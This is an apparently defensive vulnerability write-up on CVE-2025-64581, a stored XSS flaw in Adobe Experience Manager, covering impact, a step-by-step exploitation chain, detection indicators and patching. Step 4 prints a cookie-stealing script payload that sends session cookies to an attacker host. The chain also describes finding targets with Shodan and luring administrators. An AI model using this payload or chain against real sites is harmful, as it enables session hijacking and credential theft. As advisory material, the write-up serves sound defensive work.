CVE-2025-64581: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64581 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields, which is then persistently stored and executed in the browser of any victim who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the affected page) and network access, but no elevated privileges beyond a standard low-privilege account. The attack scope is changed, meaning the injected script can affect resources beyond the originating security context (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions on behalf of the victim, or further phishing attacks. The confidentiality and integrity of affected users' data are at risk, though availability is not directly impacted. Because the payload is stored server-side, any user who visits the compromised page — including administrators — may be affected, increasing the potential blast radius (Adobe Advisory).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM author or contributor account.
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., content authoring forms, comment fields, or custom components) without adequate output encoding.
4. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a victim (including administrators) to browse to the page containing the injected payload, causing their browser to execute the malicious script.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data from the attacker-controlled server, or use the victim's session to perform unauthorized actions within AEM (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads in request bodies.
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) in stored AEM content nodes or JCR repository entries.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; traffic to attacker-controlled domains carrying cookie or session data in query parameters.
• Logs: Browser-side console errors or network requests logged in web application firewalls (WAF) indicating XSS payload execution patterns.

Adobe has released patches addressing CVE-2025-64581 in AEM 6.5 Service Pack 24 (version 6.5.24.0) and AEM Cloud Service release 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restrict content authoring access to trusted users only and deploy a Web Application Firewall (WAF) with XSS filtering rules to reduce exposure until patching is complete (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting that multiple vulnerabilities in Adobe products, including this one, could allow for arbitrary code execution and recommending prompt patching (CIS Advisory). No notable individual researcher commentary or significant social media discussion specific to CVE-2025-64581 has been identified beyond standard vulnerability tracking coverage.